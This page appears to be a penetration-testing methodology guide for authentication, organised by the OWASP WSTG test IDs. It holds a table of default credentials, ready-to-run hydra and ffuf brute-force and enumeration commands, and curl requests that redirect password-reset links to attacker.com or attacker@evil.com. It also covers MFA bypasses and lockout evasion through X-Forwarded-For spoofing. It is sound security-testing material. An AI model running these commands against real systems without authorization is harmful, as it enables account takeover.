Skip to main content

Authentication Testing

WSTG-AUTHN-01 through WSTG-AUTHN-10


Goal​

Authentication is the boundary between anonymous and authenticated access. Weaknesses here give you an identity in the application - either an existing user's, or a privileged account's. Test every aspect of how the application authenticates: login, registration, password reset, and lockout behavior.


Default Credentials​

Before anything else - try default credentials. This takes 30 seconds and succeeds more often than it should.

Common defaults by application type:

ApplicationDefault UsernameDefault Password
Apache Tomcat Managertomcattomcat
Apache Tomcat Manageradminadmin
phpMyAdminroot(blank)
WordPressadminadmin / password
Joomlaadminadmin
Drupaladminadmin
Jenkinsadmin(from install log)
Grafanaadminadmin
Kibanaelastic(from setup)
Router/appliance adminadminadmin / password / 1234

SecLists contains comprehensive default credential lists:

ls /usr/share/seclists/Passwords/Default-Credentials/

Username Enumeration​

Many applications reveal whether a username exists through different behavior on login failure - different error messages, different response times, or different response sizes.

Manual enumeration​

# Test with a known-invalid username
curl -si -X POST http://target.com/login \
-d "username=doesnotexist999&password=wrongpassword"

# Test with a likely-valid username (admin, root, etc.)
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrongpassword"

# Compare: response body, response size, response time

What to look for:

  • Different error messages: "User not found" vs. "Incorrect password" - confirms username validity
  • Different response sizes between valid/invalid users
  • Time-based differences: hashing a valid password takes longer than rejecting an unknown username

Automated enumeration with ffuf​

# Fuzz usernames with a wordlist - filter by response size
ffuf -u http://target.com/login -X POST \
-d "username=FUZZ&password=invalidpassword" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Usernames/Names/names.txt \
-fs <INVALID_RESPONSE_SIZE>

# With JSON body
ffuf -u http://target.com/api/login -X POST \
-d '{"username":"FUZZ","password":"invalidpassword"}' \
-H "Content-Type: application/json" \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-fs <INVALID_RESPONSE_SIZE>

Useful username wordlists:

/usr/share/seclists/Usernames/top-usernames-shortlist.txt    # Quick check
/usr/share/seclists/Usernames/Names/names.txt # Common names
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt # Comprehensive

Brute Force​

Only proceed with brute force after confirming:

  1. No account lockout (or lockout only after many attempts)
  2. No CAPTCHA (or bypassable CAPTCHA)
  3. Valid usernames have been identified
caution

Account lockout is a real risk. Test lockout behavior with a throwaway or test account before brute forcing real accounts. Send a handful of failed attempts and observe if the response changes. If lockout is present, brute force will cause damage to real accounts and alert the defenders.

hydra - HTTP form brute force​

# POST form brute force (most common)
# Syntax: http-post-form "PATH:POST_DATA:FAILURE_STRING"
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# With a username list
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Login failed"

# HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-s 443 -S target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Incorrect"

# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
http-get://target.com/admin/

# With cookies (authenticated area brute force)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/admin/login:user=^USER^&pass=^PASS^:F=Wrong:H=Cookie: session=abc123"

# Throttle to avoid lockout
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/login:u=^USER^&p=^PASS^:F=failed" \
-t 4 -w 30
tip

The failure string (F=) or success string (S=) is critical - hydra uses it to detect success vs. failure. Use a string that is only present in failed responses (or only in successful ones). Test your failure string manually first with curl.

ffuf - HTTP form brute force​

ffuf is more flexible than hydra for complex forms (CSRF tokens, dynamic fields):

# Basic password brute force (known username)
ffuf -u http://target.com/login -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-fr "Invalid password"

# Filter by response code instead of string
ffuf -u http://target.com/login -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
-mc 302

Password Reset Flow Testing​

Password reset mechanisms are frequently vulnerable and often receive less security attention than the main login.

What to test:

# 1. Initiate a reset for a valid account and inspect the reset link
# - Is the token in the URL? What does it look like? Is it guessable?
# - How long is it valid? Can you request multiple tokens?

# 2. Host header injection - force the reset link to your server
curl -si -X POST http://target.com/forgot-password \
-H "Host: attacker.com" \
-d "email=victim@target.com"

# If the app generates the reset URL using the Host header, the link goes to attacker.com

# 3. Try a used/expired token - does the app invalidate it after use?
# 4. Try changing the email parameter to an attacker-controlled address
curl -si -X POST http://target.com/forgot-password \
-d "email=victim@target.com&email=attacker@evil.com"

# 5. Test the reset token for predictability:
# - Generate two reset tokens back to back - are they sequential or similar?
# - Short tokens (6-8 char alphanumeric) may be brute-forceable

Multi-Factor Authentication Bypass​

MFA is not always as airtight as it appears.

Response manipulation:

# Submit MFA verification request - intercept response
# If the response is {"success": false, "redirect": "/dashboard"}
# Try changing "false" to "true" - some apps act on the client response value
curl -si -X POST http://target.com/verify-mfa \
-d "code=000000&session=abc123"
# Check if a 302 redirect to /dashboard occurs regardless of correct code

Backup codes:

  • Backup codes are often generated once and stored. Test if they can be reused after being consumed, or if they have weaker entropy.

Null/empty code:

# Try submitting with an empty or null MFA value
curl -si -X POST http://target.com/verify-mfa \
-d "code=&session=abc123"

curl -si -X POST http://target.com/verify-mfa \
-d "code=null&session=abc123"

Direct endpoint access:

  • After passing username/password but before MFA, try accessing a protected endpoint directly without completing MFA.

Rate Limiting and Lockout Detection​

# Rapid-fire login attempts - does response change?
for i in {1..10}; do
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrongpass$i" | grep -E "HTTP/|Location:|locked"
done

# Check for Retry-After or X-RateLimit headers
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrong" | grep -iE "retry|ratelimit|limit"

Lockout bypass techniques:

  • Rotate between multiple usernames (only testing a few passwords each)
  • Distribute attempts across IP addresses (X-Forwarded-For header spoofing if accepted)
  • Insert valid credential attempts between invalid ones to reset counters
  • Use X-Forwarded-For: 127.0.0.1 if the app uses IP-based lockout and trusts this header
# Test if X-Forwarded-For is trusted for IP-based rate limiting
curl -si -X POST http://target.com/login \
-H "X-Forwarded-For: 1.2.3.4" \
-d "username=admin&password=wrong"

Registration Testing​

# Test for duplicate username enumeration
curl -si -X POST http://target.com/register \
-d "username=admin&password=Test123&email=test@evil.com"
# Does it say "username already exists"? Confirms admin username validity.

# Test for mass assignment - add unexpected privilege fields
curl -si -X POST http://target.com/register \
-d "username=test&password=Test123&role=admin&is_admin=true"

# Test for email confirmation bypass
# Register, then try accessing the application before confirming email